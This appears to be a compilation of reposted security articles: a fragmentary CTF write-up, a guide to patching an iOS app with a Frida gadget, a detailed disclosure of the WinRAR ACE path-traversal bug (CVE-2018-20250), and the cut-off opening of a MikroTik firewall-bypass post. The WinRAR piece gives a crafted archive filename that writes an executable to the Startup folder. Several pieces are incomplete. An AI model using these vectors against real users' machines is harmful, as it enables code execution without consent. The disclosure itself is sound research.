$ hexdump -C flag.enc 
00000000 0f b8 b7 c7 53 8e 1e 20 93 ea 93 13 e3 08 9f 46 |….S.. …….F|
00000010 1e cb 13 8e 42 28 d0 46 52 39 27 28 09 15 2a cf |….B(.FR9'(..*.|
$ openssl enc -aes-256-cbc -d -in flag.enc -K '8e140886f96ef269e736cb1fe24ea12627df6971f32d6c15b6cbc2810af19382' -iv ' 00000000000000000000000000000000'


I personally go to Insomni’Hack CTF for one thing: the hardware challenges. This year 2 challenges were here for our pleasure. The first one from @_noskill of http://fixme.ch/ , intern at SCRT at the moment, were cool and a good warm-up (write-up from Sylvain of DUKS HERE). And this « monster » from Balda & Sylvain.

I must say this challenge occupy me during the whole CTF. I’ve learn a tech’ I’ve never seen before, the PUF concept is really funny and, I guess, used IRL. Solving a task close to a real project is far away more exiting, and it was the case here! Using Ghidra was a good experience, I’ll do it again and hope to forget ASAP IDA-PRO to focus only on this wonderful open-source tool.


A little regret on this one is the missing in the description of the « crypto » categorie. With this more accurate description I would not tried it alone, and I would asked for some helps to other members of the team at the very first moment of the CTF. And the complexity was too much for a 10 hours CTF, so the task wasn’t solved at 4h00 by anyone. To be honest, without the help of the conceptors, I’ll not be able to solve it, even afterwards (I guess I would ragequit() before the flag  ).

The troll


From the description: « To our surprise, we found out that our challenge from last year has been counterfeited by another CTF. » is well sent  . Last year I solved in 3 minutes the hardware challenge, because the flash read protection fuse on the STM32 was forgotten (write-up HERE). In November 2018 Balda got a kind word at GreHack CTF on the first hardware challenge :

"An Insomni'Hack 2018 tribute":
Was a 400 points at Insomni'hack and is only a 50 points at GreHack ... with the good tools ( Hello Baldanos  )

This year you win, so 1 – 1. See you the 15th of November for the next edition of GreHack  .

Credits & Greetings

Nice challenge by Baldanos (@Baldanos) and Sylvain (@Pelissier_S). Thanks for your time and the technical trix on Ghidra during the CTF. Big up guyz!


Thanks to Azox (@8008135_) for help me at … 3H25! Pretty sure that together we would solve it in time, bourricot  !

Thanks to Marius (@nSinusR) from Tasteless (@TeamTasteless) for review & suggestions on this write-up.


And also thanks to the SCRT team, especially Michael (@0xGrimmlin) for making things possible  . See you next year!

Write-up by Phil (@PagetPhil) 27/03/2019

Setting up Frida Without Jailbreak on devices running Latest iOS 12.1.4

Original text by Dinesh Shetty

Majority of the times during a penetration test or bug-bounty engagement, you might encounter customers who limit the scope of testing to non-jailbroken devices running the latest mobile OS. How do you dynamically instrument the application in those cases? How do you trace the various functionalities in the application while trying to attack the actual application logic?

Frida (https://www.frida.re/) is a runtime instrumentation toolkit for developers, reverse-engineers, and security researchers that allows you to inject your own script into the blackbox mobile application. Normally Frida is always installed and run on Jailbroken devices. That process is pretty straight-forward. However, the complexity increases when you want to run it on non-jailbroken devices. In this article I’ll explain in detail the steps to be followed to get Frida running on the latest non-jailbroken version of iOS viz iOS 12.1.4.

The only requirement at this stage is an unencrypted IPA file. This is normally provided by the customer. If not, we can download the IPA file from the AppStore and then use tools like Clutch(https://github.com/KJCracks/Clutch) or bfinject(https://github.com/BishopFox/bfinject) to decrypt it. Alternatively unencrypted versions of the IPA files are also available on https://www.iphonecake.com/. Ensure that you do a checksum check and verify it with the custom before you start testing. Don’t be shocked if you find that the IPA files from the website have been modified to include un-intended code. In our case, lets target the Uber application from the AppStore.

The various steps for setting up Frida to run on non-jailbroken iOS device are:

1) Setting up the Signing Identity

2) Setting up Mobile Provision File

3) Performing the Actual Patching

4) Fixing Codesign issues

5) Performing the required Frida-Fu

I will take you through each of these steps one-by-one.

Setting up the Signing Identity

a) Launch Xcode and navigate to the Accounts section using the Preferences menu item. Make sure you are logged in to Xcode using your Apple account.

b) Select “Agent” and Click Manage Certificates.

c) Click + and select “iOS Development”.

d) To verify that the identity is properly set up, you can use the following command:

security find-identity -p codesigning -v

This command will output all the signing identities for your account.

Setting up Mobile Provision File

a) Next step will be to create a new Xcode project with team as agent and target as your actual test device and click play. Run the application on the device. You have to do this step for every new device that you want to use for testing.

b) Right click the generated .app file and select “Show in Finder”.

c) Right click the .app file from the Finder and select “Show Contents”.

d) Save the embedded.mobileprovision file. You will need this later while signing the IPA file.

Performing the Actual Patching

a) Download the latest version of Frida. This can be done using the following command:

curl -O https://build.frida.re/frida/ios/lib/FridaGadget.dylib

b) Unzip the IPA file and copy this Frida library into the folder named “Frameworks”. If the folder “Frameworks” does not exist, create it.

unzip Uber.ipa
cp FridaGadget.dylib Payload/Helix.app/Frameworks

c) Now, we will use the tool insert_dylib by Tyilo to inject the Frida dylib into the Uber Mach-O binary executable

Use the following steps to build the insert_dylib tool.

git clone https://github.com/Tyilo/insert_dylib
cd insert_dylib

d) The executable can now be found at “build” folder. Copy the generated insert_dylib executable to your system path using the following command:

cp insert_dylib/build/Release/insert_dylib /usr/local/bin/insert_dylib

e) Use the following command to inject the Frida dylib into your Uber Mach-O binary executable

insert_dylib --strip-codesig --inplace '@executable_path/Frameworks/FridaGadget.dylib' Payload/Helix.app/Helix

If we try to install the application now, it will fail because of code sign issues. We need to fix it before we proceed.

Fixing Codesign issues

a) Sign the Frida dylib using codesign. This can be done using the following command.

codesign -f -v -s  5E25E<snipped-signing-identity> Payload/Helix.app/Frameworks/FridaGadget.dylib

b) Zip the Payload folder into an IPA file using the following command:

zip -qry patchedapp.ipa Payload

c) Install `applesign` utility using the following command:

npm install -g applesign

d) Now, sign the patched IPA file that we created previously.

applesign -i 5E25E<snipped-signing-identity> -m embedded.mobileprovision -o patched_codesign.ipa patchedapp.ipa

e) Install ios-deploy and then push the patched_codesign IPA file to the device.

npm install -g ios-deploy
mkdir final_file
cp patched_codesign.ipa final_file
cd final_file
unzip patched_codesign.ipa
ios-deploy --bundle Payload/*.app --debug -W

Observe that the console message indicates that Frida is now running on port 27042.


Your iOS device will appear to be frozen till you enter the Frida commands. To confirm if Frida gadget is actually working make use of the following command:

frida-ps -Uai

Connect to the Gadget using:

frida -U Gadget

Trace Crypto calls using:

frida-trace -U -i "*Crypto*" Gadget

The following shows the sample usage of Frida scripts

frida -U -l list-classes.js Gadget

That is all I have for this article. In later articles we will talk about how to use Frida to perform a variety of attacks on Mobile Applications.

Extracting a 19 Year Old Code Execution from WinRAR

Original text by Nadav Grossman


In this article, we tell the story of how we found a logical bug using the WinAFL fuzzer and exploited it in WinRAR to gain full control over a victim’s computer. The exploit works by just extracting an archive, and puts over 500 million users at risk. This vulnerability has existed for over 19 years(!) and forced WinRAR to completely drop support for the vulnerable format.


A few months ago, our team built a multi-processor fuzzing lab and started to fuzz binaries for Windows environments using the WinAFL fuzzer. After the good results we got from our Adobe Research, we decided to expand our fuzzing efforts and started to fuzz WinRAR too.

One of the crashes produced by the fuzzer led us to an old, dated dynamic link library (dll) that was compiled back in 2006 without a protection mechanism (like ASLR, DEP, etc.) and is used by WinRAR.

We turned our focus and fuzzer to this “low hanging fruit” dll, and looked for a memory corruption bug that would hopefully lead to Remote Code Execution.
However, the fuzzer produced a test case with “weird” behavior. After researching this behavior, we found a logical bug: Absolute Path Traversal. From this point on it was simple to leverage this vulnerability to a remote code execution.

Perhaps it’s also worth mentioning that a substantial amount of money in various bug bounty programs is offered for these types of vulnerabilities.

Figure 1: Zerodium tweet on purchasing WinRAR vulnerability.

What is WinRAR?

WinRAR is a trialware file archiver utility for Windows which can create and view archives in RAR or ZIP file formats and unpack numerous archive file formats.

According to the WinRAR website, over 500 million users worldwide make WinRAR the world’s most popular compression tool today.

This is what the GUI looks like:

Figure 2: WinRAR GUI.

The Fuzzing Process Background

These are the steps taken to start fuzzing WinRAR:

  1. Creation of an internal harness inside the WinRAR main function which enables us to fuzz any archive type, without stitching a specific harness for each format. This is done by patching the WinRAR executable.
  2. Eliminate GUI elements such as message boxes and dialogs which require user interaction. This is also done by patching the WinRAR executable.
    There are some message boxes that pop up even in CLI mode of WinRAR.
  3. Use a giant corpus from an interesting piece of research conducted around 2005 by the University of Oulu.
  4. Fuzz the program with WinAFL using WinRAR command line switches. These force WinRAR to parse the “broken archive” and also set default passwords (“-p” for password and “-kb” for keep broken extracted files). We found those options in a WinRAR manual/help file.

After a short time of fuzzing, we found several crashes in the extraction of several archive formats such as RAR, LZH and ACE that were caused by a memory corruption vulnerability such as Out-of-Bounds Write. The exploitation of these vulnerabilities, though, is not trivial because the primitives supplied limited control over the overwritten buffer.

However, a crash related to the parsing of the ACE format caught our eye. We found that WinRAR uses a dll named unacev2.dll for parsing ACE archives. A quick look at this dll revealed that it’s an old dated dll compiled in 2006 without a protection mechanism. In the end, it turned out that we didn’t even need to bypass them.

Build a Specific Harness

We decided to focus on this dll because it looked like it would be quick and easy to exploit.

Also, as far as WinRAR is concerned, as long as the archive file has a .rar extension, it would handle it according to the file’s magic bytes, in our case – the ACE format.

To improve the fuzzer performance, and to increase the coverage only on the relevant dll, we created a specific harness for unacev2.dll .

To do that, we need to understand how unacev2.dll is used. After reverse engineering the code calling unacev2.dll for ACE archive extraction, we found that two exported functions should be called for extraction in the following order:

  1. An initialization function named ACEInitDll, with the following signature:
    INT __stdcall ACEInitDll(unknown_struct_1 *struct_1);
    • struct_1: pointer to an unknown struct
  2. An extraction function named ACEExtract , with the following signature:
    INT __stdcall ACEExtract(LPSTR ArchiveName, unknown_struct_2 *struct_2);
    ArchiveName: string pointer to the path to the ace file to be extracted
    struct_2: pointer to an unknown struct

Both of these functions required structs that are unknown to us. We had two options to try to understand the unknown struct: reversing and debugging WinRAR, or trying to find an open source project that uses those structs.

The first option is more time consuming, so we opted to try the second one. We searched github.com for the exported function ACEInitDll
and found a project named FarManager that uses this dll and includes a detailed header file for the unknown structs.
Note: The creator of this project is also the creator of WinRAR.

After loading the header files to IDA, it was much easier to understand the previously “unknown structs” to both functions (ACEInitDll and ACEExtract ),  as IDA displayed the correct name and type for each struct member.

From the headers we found in the FarManager project, we came up with the following signature:

INT __stdcall ACEInitDll(pACEInitDllStruc DllData);

INT __stdcall ACEExtract(LPSTR ArchiveName, pACEExtractStruc Extract);

To mimic the way that WinRAR uses unacev2.dll , we assigned the same struct member just as WinRAR did.

We started to fuzz this specific harness, but we didn’t find new crashes and the coverage did not expand in the first few hours of the fuzzing. We tried to understand the reason for this limitation.

We started by looking for information about the ACE archive format.

Understanding the ACE Format

We didn’t find a RFC for that format, but we did find vital information over the internet.

1. Creating an ACE archive is protected by a patent. The only software that is allowed to create an ACE archive is WinACE. The last version of this program was compiled in November 2007. The company’s website has been down since August 2017. However, extracting an ACE archive is not protected by a patent.

2. A pure Python project named acefile is mentioned in this Wikipedia page. Its most useful features are:

  • It can extract an ACE archive.
  • It contains a brief explanation about the ACE file format.
  • It has a very helpful feature that prints the file format header with an explanation.

To understand the ACE file format, let’s create a simple .txt file (named “simple_file.txt”), and compress it using WinACE. We will then check the headers of the ACE file using acefile .

This is simple_file.txt

Figure 3: File before compression.

These are the options we selected in WinACEto create our example:

Figure 4: WinACE compression GUI.

This option creates the subdirectories \users\nadavgr\Documents under the chosen extraction directory and extracts simple_file.txt to that relative path.


Figure 5: The simple_file.ace produced using WinACE’s “store” compression option for visibility.

Running acefile.py from the acefile project using headers flags displays information about the archive headers:

Figure 6: Parsing ACE file header using acefile.py.

This results in:

Figure 7: acefile.py header parsing output.


  • Consider each “\\” from the filename field in the image above as a single slash “\”, this is just python escaping.
  • For clarity, the same fields are marked with the same color in the hex dump and in the output fromacefile.

Summary of the important fields:

  • hdr_crc (marked in pink):
    Two CRC fields are present in 2 headers. If the CRC doesn’t match the data, the extraction
    is interrupted. This is the reason why the fuzzer didn’t find more paths (expand its coverage).To “solve” this issue we patched all the CRC* checks in unacev2.dll .*Note – The CRC is a modified implementation of the regular CRC-32.
  • filename (marked in green):
    It contains the relative path to the file. All the directories specified in the relative path are created during the extracting process (including the file). The size of the filename is defined by 2 bytes (little endian) marked by a black frame in the hex dump.
  • advert (marked in yellow)
    The advert field is automatically added by WinACE, during the creation of an ACE archive, if the archive is created using an unregistered version of WinACE.
  • file content:
    • origsize ” – The content’s size. The content itself is positioned after the header that defines the file (“hdr_type” field == 1).
    • hdr_size ” – The header size. Marked by a gray frame in the hex dump.
    • At offset 70 (0x46) from the second header, we can find our file content: “Hello From Check Point!”

Because the filename field contains the relative path to the file, we did some manual modification attempts to the field to see if it is vulnerable to “Path Traversal.”
For example, we added the trivial path traversal gadget “\..\” to the filename field and more complex “Path Traversal” tricks as well, but without success.

After patching all the structure checks, such as the CRC validation, we once again activated our fuzzer. After a short time of fuzzing, we entered the main fuzzing directory and found something odd. But let’s first describe our fuzzing machine for some necessary background.

The Fuzzing Machine

To increase the fuzzer performance and to prevent an I\O bottleneck, we used a RAM disk drive that uses the ImDisk toolkit on the fuzzing machine.

The Ram disk is mapped to drive R:\, and the folder tree looks like this:

Figure 8: Fuzzer’s folders hierarchy

Detecting the Path Traversal Bug

A short time after starting the fuzzer, we found a new folder named sourbe in a surprising location, in the root of drive R:\

Figure 9: ”sourbe”, the unexpected folder which created during fuzzing.

The harness is instructed to extract the fuzzed archive to sub-directories under “output_folders”. For example, R:\ACE_FUZZER\output_folders\Slave_2\ . So why do we have a new folder created in the parent directory?

Inside the sourbe folder we found a file named RED VERSION_¶ with the following content:

Figure 10: Content of the file that produced by the fuzzer in the unexpected path “R:\sourbe\RED VERSION_¶”.

This is the hex dump of the test case that triggers the vulnerability:

Figure 11: A hex dump of the file that produced by the fuzzer in the unexpected path “R:\sourbe\RED VERSION_¶”.


  • We made some minor changes to this test case, (such as adjusting the CRC) to make it parsable by acefile.
  • For convenience, fields are marked with the same color in the hex dump and in
    the output from acefile.

Figure 12: Header parsing output from acefile.py for the file that produced by the fuzzer in the unexpected path.

These are the first three things that we noticed when we looked at the hex dump and the output from acefile:

  1. The fuzzer copied parts of the “advert” field to other fields:
    • The content of the compressed file is “SIO”, marked in an orange frame in the hex dump. It’s part of the advert string “*UNREGISTERED VERSION*”.
    • The filename field contain the string “RED VERSION*” which is part of the advert string “*UNREGISTERED VERSION*”.
  2. The path in the filename field was used in the extraction process as an “absolute path” instead of a relative path to the destination folder (the backslash is the root of the drive).
  3. The extract file name is “RED VERSION_¶”. It seems that the asterisk from the filename field was converted to an underscore and the \x14\ (0x14) value represented as “¶” in the extract file name. The other content of the filename field is ignored because there is a null char which terminates the string, after the \x14\ (0x14) value.

To find the constraints that caused it to ignore the destination folder and use the filename field as an absolute path during the extraction, we did the following attempts, based on our assumptions.

Our first assumption was the first character of the filename field (the ‘\’ char) triggers the vulnerability. Unfortunately, after a quick check we found out that this is not the case. After additional checks we arrived at these conclusions:

  1. The first char should be a ‘/’ or a ‘\’.
  2. ‘*’ should be included in the filename at least once; the location doesn’t matter.

Example of a filename field that triggers the bug: \some_folder\some_file*.exe will be extracted to C:\some_folder\some_file_.exe , and the asterisk is converted to an underscore (_).

Now that it worked on our fuzzing harness, it is time to test our crafted archive (e.g. exploit file) file on WinRAR.

Trying the exploit on WinRAR

At first glance, it looked like the exploit worked as expected on WinRAR, because the sourbe directory was created in the root of drive C:\ . However, when we entered the “sourbe” folder (C:\sourbe ) we noticed that the file was not created.

These behaviors raised two questions:

  • Why did the harness and WinRAR behave differently?
  • Why were the directories that were specified in the exploit file created, and the extracted file was not created?
Why did the harness and WinRAR behave differently?

We expected that the exploit file would behave the same on WinRAR as it behaved in our harness, for the following reasons:

  1. The dll (unacev2.dll ) extracts the files to the destination folder, and not the outer executable (WinRAR or our harness).
  2. Our harness mimics WinRAR perfectly when passing parameters / struct members to the dll.

A deeper look showed that we had a false assumption in our second point. Our harness defines 4 callbacks pointers, and our implemented callbacks differ from WinRAR’s callbacks. Let’s return to our harness implementation.

We mentioned this signature when calling the exported function named ACEInitDll.

INT __stdcall ACEInitDll(pACEInitDllStruc DllData);

pACEInitDllStruc is a pointer to the sACEInitDLLStruc struct. The first member of this struct is tACEGlobalDataStruc. This struct has many members, including pointers to callback functions with the following signature:

INT (__stdcall *InfoCallbackProc) (pACEInfoCallbackProcStruc Info);

INT (__stdcall *ErrorCallbackProc) (pACEErrorCallbackProcStruc Error);

INT (__stdcall *RequestCallbackProc) (pACERequestCallbackProcStruc Request);

INT (__stdcall *StateCallbackProc) (pACEStateCallbackProcStruc State);

These callbacks are called by the dll (unacev2.dll ) during the extraction process.
The callbacks are used as external validators for operations that about to happen, such as the creation of a file, creation of a directory, overwriting a file, etc.
The external callback/validators get information about the operation that’s about to occur, for example, file extraction, and returns its decision to the dll.

If the operation is allowed, the following constant is returned to the dll: ACE_CALLBACK_RETURN_OK Otherwise, if the operation is not allowed by the callback function, it returns the following constant: ACE_CALLBACK_RETURN_CANCEL, and the operation is aborted.

For more information about those callbacks function, see the explanation from the FarManager.

Our harness returned ACE_CALLBACK_RETURN_OK  for all the callback functions except for the ErrorCallbackProc, where it returned ACE_CALLBACK_RETURN_CANCEL.

It turns out, WinRAR does validation for the extracted filename (after they are extracted and created), and because of those validations in the WinRAR callback’s, the creation of the file was aborted. This means that after the file is created, it is deleted by WinRAR.

WinRAR Validators / Callbacks

This is part of the WinRAR callback’s validator pseudo-code that prevents the file creation:

Figure 13: WinRAR validator/callback pseudo-code.

SourceFileName” represents the relative path to the file that will be extracted.

The function does the following checks:

  1. The first char does not equal “\” or “/”.
  2. The File Name doesn’t start with the following strings “..\” or “../” which are gadgets for “Path Traversal”.
  3. The following “Path Traversal” gadgets does not exist in the string:
    1. \..\
    2. \../
    3. /../
    4. /..\

The extraction function in unacv2.dll calls StateCallbackProc in WinRAR, and passes the filename field of the ACE format as the relative path to be extracted to.

The relative path is checked by the WinRAR callback’s validator. The validators return ACE_CALLBACK_RETURN_CANCEL to the dll, (because the filename field starts with backslash “\”) and the file creation is aborted.

The following string passes to the WinRAR callback’s validator:

“\sourbe\RED VERSION_¶”

Note: This is the original filename with fields “\sourbe\RED VERSION*¶”. “unacev2.dll ” replaces the “*” with an underscore.

Why were the folders that were specified in the exploit file created and the extracted file was not created?

Because of a bug in the dll (“unacev2.dll ”), even if ACE_CALLBACK_RETURN_CANCEL returned from the callback, the folders specified in the relative path (filename field in ACE archive) will be created by the dll.

The reason for this is that unacev2.dll calls the external validator (callback) before the folder creation, but it checks the return value from the callbacks too late – after the creation of the folder. Therefore, it aborts the extraction operation just before writing content to the extracted file, before the call to WriteFile API.

It actually creates the extracted file, without writing content to it.  It calls to CreateFile API
and then checks the return code from the callback function. If the return code is ACE_CALLBACK_RETURN_CANCEL, it actually deletes the file that previously created by the call to CreateFile API.

Side Notes:

  • We found a way to bypass the deletion of the file, but it allows us to create empty files only. We can bypass the file deletion by adding “:” to the end of the file, which is treated as Alternate Data Streams. If the callback returns ACE_CALLBACK_RETURN_CANCEL, dll tries to delete the Alternate Data Stream of the file instead of the file itself.
  • There is another filter function in the dll code that aborts the extraction operation if the relative path string starts with “\” (slash). This happens in the first extraction stages, before the calls to any other filter function.
    However, by adding “*”or “?” characters (wildcard characters) to the relative path (filename field) of the compressed file, this check is skipped and the code flow can continue and (partially) trigger the Path Traversal vulnerability. This is why the exploit file which was produced by the fuzzer triggered the bug in our harness. It doesn’t trigger the bug in WinRAR because of the callback validator in the WinRAR code.

Summary of Intermediate Findings

  • We found a Path Traversal vulnerability in unacev2.dll . It enables our harness to extract the file to an arbitrary path, and completely ignore the destination folder, and treats the extracted file relative path as the full path.
  • Two constraints lead to the Path Traversal vulnerability (summarized in previous sections):
    1. The first char should be a ‘/’ or a ‘\’.
    2. ‘*’ should be included in the filename at least once. The location does not matter.
  • WinRAR is partially vulnerable to the Path Traversal:
    • unacev2.dll doesn’t abort the operation after getting the abort code from the WinRAR callback (ACE_CALLBACK_RETURN_CANCEL). Due to this delayed check of the return code from WinRAR callback, the directories specified in the exploit file are created.
    • The extracted file is created as well, on the full path specified in the exploit file (without content), but it is deleted right after checking the returned code from the callback (before the call to WriteFile API).
    • We found a way to bypass the deletion of the file, but it allows us to create empty files only.

Finding the Root Cause

At this point, we wanted to figure out why the destination folder is ignored, and the relative path of the archive files (filename field) is treated as the full path.

To achieve this goal, we could use static analysis and debugging, but we decided on a much quicker method. We used DynamoRio to record the code coverage in unacev2.dll of a regular ACE file and of our exploit file which triggered the bug. We then used the lighthouse plugin for IDA and subtracted one coverage path from the other.

These are the results we got:

Figure 14: Lighthouse’s coverage overview window. You can see the coverage subtraction in the “Composer” form, and one result highlighted in purple.

In the “Coverage Overview” window we can see a single result. This means there is only one basic block that was executed in the first attempt (marked in A) and wasn’t reached on the second attempt (marked in B).

The Lighthouse plugin marked the background of the diffed basic block in blue, as you can see in the image below.

Figure 15: IDA graph view of the main bug in unacev2.dll. Lighthouse marked the background of the diffed basic block in blue.

From the code coverage results, you can understand that the exploit file is not going through the diffed basic block (marked in blue), but it takes the opposite basic block (the false condition, marked with a red arrow).

If the code flow goes through the false condition (red arrow) the line that is inside the green frame replaces the destination folder with "" (empty string), and the later call to sprintf function, which concatenates the destination folder to the relative path of the extracted file.

The code flow to the true and false conditions, marked with green and red arrows respectively,
is influenced by the call to the function named GetDevicePathLen (inside the red frame).

If the result from the call to GetDevicePathLen equals 0, the sprintf looks like this:

sprintf(final_file_path, "%s%s", destination_folder, file_relative_path);


sprintf(final_file_path, "%s%s", "", file_relative_path);

The last sprintf is the buggy code that triggers the Path Traversal vulnerability.

This means that the relative path will actually be treated as a fullpath to the file/directory that should be written/created.

Let’s look at GetDevicePathLen function to get a better understanding of the root cause:

Figure 16: GetDevicePathLen code.

The relative path of the extracted file is passed to GetDevicePathLen.
It checks if the device or drive name prefix appears in the Path parameter, and returns the length of that string, like this:

  • The function returns 3 for this path: C:\some_folder\some_file.ext
  • The function returns 1 for this path: \some_folder\some_file.ext
  • The function returns 15 for this path: \\LOCALHOST\C$\some_folder\some_file.ext
  • The function returns 21 for this path: \\?\Harddisk0Volume1\some_folder\some_file.ext
  • The function returns 0 for this path: some_folder\some_file.ext

If the return value from GetDevicePathLen is greater than 0, the relative path of the extracted file will be considered as the full path, because the destination folder is replaced by  an empty string during the call to sprintf, and this leads to Path Traversal vulnerability.

However, there is a function that “cleans” the relative path of the extract file, by omitting any sequences that are not allowed before the call to GetDevicePathLen.

This is a pseudo-code that cleans the path “CleanPath”.

Figure 17: Pseudo-code of CleanPath.

The function omits trivial Path Traversal sequences like “\..\”  (it only omits the “..\” sequence if it is found in the beginning of the path)  sequence, and it omits drive sequence like: “C:\C:”, and for an unknown reason, “C:\C:” as well.

Note that it doesn’t care about the first letter; the following sequence will be omitted as well: “_:\”, “_:”, “_:\_:” (In this case underscore represents any value).

Putting It All Together

To create an exploit file, which causes WinRAR to extract an archived file to an arbitrary path (Path Traversal),  extract to the Startup Folder (which gains code execution after reboot) instead of to the destination folder.

We should bypass two filter functions to trigger the bug.

To trigger the concatenation of an empty string to the relative path of the compressed file, instead of the destination folder:

sprintf(final_file_path, "%s%s", "", file_relative_path);

Instead of:

sprintf(final_file_path, "%s%s", destination_folder, file_relative_path);

The result from GetDevicePathLen function should be greater than 0.
It depends on the content of the relative path (“file_relative_path”). If the relative path starts the device path this way:

  • option 1C:\some_folder\some_file.ext
  • option 2\some_folder\some_file.ext (The first slash represents the current drive.)

The return value from GetDevicePathLen will be greater than 0.
However, there is a filter function in unacev2.dll named CleanPath (Figure 17) that checks if the relative path starts with C:\ and removes it from the relative path string before the call to GetDevicePathLen.

It omits the “C:\” sequence from the option 1 string but doesn’t omit “\” sequence from the option 2 string.

To overcome this limitation, we can add to option 1 another “C:\” sequence which will be omitted by CleanPath (Figure 17), and leave the relative path to the string as we wanted with one “C:\”,  like:

  • option 1’C:\C:\some_folder\some_file.ext  =>  C:\some_folder\some_file.ext

However, there is a callback function in WinRAR code (Figure 13), that is used as a validator/filter function. During the extraction process, unacev2.dll is called to the callback function that resides in the WinRAR code.

The callback function validates the relative path of the compressed file. If the blacklist sequence is found, the extraction operation will be aborted.

One of the checks that is made by the callback function is for the relative path that starts with “\” (slash).
But it doesn’t check for the  “C:\Therefore, we can use option 1’ to exploit the Path Traversal Vulnerability!

We also found an SMB attack vector, which enables it to connect to an arbitrary IP address and create files and folders in arbitrary paths on the SMB server.

C:\\\\smb_folder_name\some_folder\some_file.ext => \\\smb_folder_name\some_folder\some_file.ext

Example of a Simple Exploit File

We change the .ace extension to .rar extension, because WinRAR detects the format by the content of the file and not by the extension.

This is the output from acefile:

Figure 18: Header output by acefile.py of the simple exploit file.

We trigger the vulnerability by the crafted string of the filename field (in green).

This archive will be extracted to C:\some_folder\some_file.txt no matter what the path of the destination folder is.

Creating a Real Exploit

We can gain code execution, by extracting a compressed executable file from the ACE archive to one of the Startup Folders. Any files that reside in the Startup folders will be executed at boot time.
To craft an ACE archive that extracts its compressed files to the Startup folder seems to be trivial, but it’s not.
There are at least 2 Startup folders at the following paths:

  1. C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
  2. C:\Users\<user name>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

The first path of the Startup folder demands high privileges / high integrity level (in case the UAC is on). However, WinRAR runs by default with a medium integrity level.

The second path of the Startup folder demands to know the name of the user.

We can try to overcome it by creating an ACE archive with thousands of crafted compressed files, any one of which contains the path to the Startup folder but with different <user name>, and hope that it will work in our target.

The Most Powerful Vector

We have found a vector which allows us to extract a file to the Startup folder without caring about the <user name>.

By using the following filename field in the ACE archive:

C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\some_file.exe

It is translated to the following path by the CleanPath function (Figure 17):

C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\some_file.exe

Because the CleanPath function removes the “C:\C: ” sequence.

Moreover, this destination folder will be ignored because the GetDevicePathLen function (Figure 16) will return 2 for the last “C:” sequence.

Let’s analyze the last path:

The sequence “C:” is translated by Windows to the “current directory” of the running process. In our case, it’s the current path of WinRAR.

If WinRAR is executed from its folder, the “current directory” will be this WinRAR folder: C:\Program Files\WinRAR

However, if WinRAR is executed by double clicking on an archive file or by right clicking on “extract” in the archive file, the “current directory” of WinRAR will be the path to the folder that the archive resides in.

Figure 19: WinRAR’s extract options (WinRAR’s shell extension added to write click)

For example, if the archive resides in the user’s Downloads folder, the “current directory” of WinRAR will be:
  C:\Users\<user name>\Downloads
If the archive resides in the Desktop folder, the “current directory” path will be:
  C:\Users\<user name>\Desktop

To get from the Desktop or Downloads folder to the Startup folder, we should go back one folder  “../” to the “user folder”, and concatenate  the relative path to the startup directory: AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ to the following sequence: “C:../

This is the end result:  C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\some_file.exe

Remember that there are 2 checks against path traversal sequences:

  • In the CleanPath function which skips such sequences.
  • In WinRAR’s callback function which aborts the extraction operation.

CleanPath checks for the following path traversal pattern: “\..\

The WinRAR’s callback function checks for the following patterns:

  1. “\..\”
  2. “\../”
  3. “/../”
  4. “/..\”

Because the first slash or backslash are not part of our sequence “C:../”, we can bypass the path traversal validation. However, we can only go back one folder. It’s all we need to extract a file to the Startup folder without knowing the user name.

Note: If we want to go back more than one folder, we should concatenate the following sequence “/../”. For example, “C:../../” and the “/../” sequence will be caught be the callback validator function and the extraction will be aborted.

Demonstration (POC)

Side Note

Toward the end of our research, we discovered that WinACE created an extraction utility like unacev2.dll for linux which is called unace-nonfree (compiled using Watcom compiler). The source code is available.
The source code for Windows (which unacev2.dll was built from) is included as well, but it’s older than the last version of unacev2.dll , and can’t be compiled/built for Windows. In addition,  some functionality is missing in the source code – for example, the checks in Figure 17 are not included.

However, Figure 16 was taken from the source code.
We also found the Path Traversal bug in the source code. It looks like this:

Figure 20:  The path traversal bug in the source code of unace-nonfree


CVE-2018-20250, CVE-2018-20251, CVE-2018-20252, CVE-2018-20253.

WinRAR’s Response

WinRAR decided to drop UNACEV2.dll from their package, and WinRAR doesn’t support ACE format from version number: “5.70 beta 1”.

Quote from WinRAR website:

“Nadav Grossman from Check Point Software Technologies informed us about a security vulnerability in UNACEV2.DLL library.
Aforementioned vulnerability makes possible to create files in arbitrary folders inside or outside of destination folder 
when unpacking ACE archives. 
WinRAR used this third party library to unpack ACE archives.
UNACEV2.DLL had not been updated since 2005 and we do not have access to its source code.
So we decided to drop ACE archive format support to protect security of WinRAR users.

We are thankful to Check Point Software Technologies for reporting  this issue.“

Check Point’s SandBlast Agent Behavioral Guard protect against these threats.

Check Point’s IPS blade provides protections against this threat: “RARLAB WinRAR ACE Format Input Validation Remote Code Execution (CVE-2018-20250)”

MikroTik Firewall & NAT Bypass Exploitation from WAN to LAN

Original text by Jacob Baines

A Design Flaw

In Making It Rain with MikroTik, I mentioned an undisclosed vulnerability in RouterOS. The vulnerability, which I assigned CVE-2019–3924, allows a remote, unauthenticated attacker to proxy crafted TCP and UDP requests through the router’s Winbox port. Proxied requests can even bypass the router’s firewall to reach LAN hosts.

Mistakes were made

The proxying behavior is neat, but, to me, the most interesting aspect is that attackers on the WAN can deliver exploits to (nominally) firewall protected hosts on the LAN. This blog will walk through that attack. If you want to skip right to the, sort of complicated, proof of concept video then here it is:

The Setup

To demonstrate this vulnerability, I need a victim. I don’t have to look far because I have a NUUO NVRMini2 sitting on my desk due to some previous vulnerability work. This NVR is a classic example of a device that should be hidden behind a firewall and probably segmented away from everything else on your network.

Join an IoT Botnet in one easy step!

In my test setup, I’ve done just that. The NVRMini2 sits behind a MikroTik hAProuter with both NAT and firewall enabled.

NVRMini2 should be safe from the attacker at

One important thing about this setup is that I opened port 8291 in the router’s firewall to allow Winbox access from the WAN. By default, Winbox is only available on the MikroTik hAP via the LAN. Don’t worry, I’m just simulatingreal world configurations.

The attacker,, shouldn’t be able to initiate communication with the victim at The firewall should prevent that. Let’s see how the attacker can get at anyways.

Probing to Bypass the Firewall

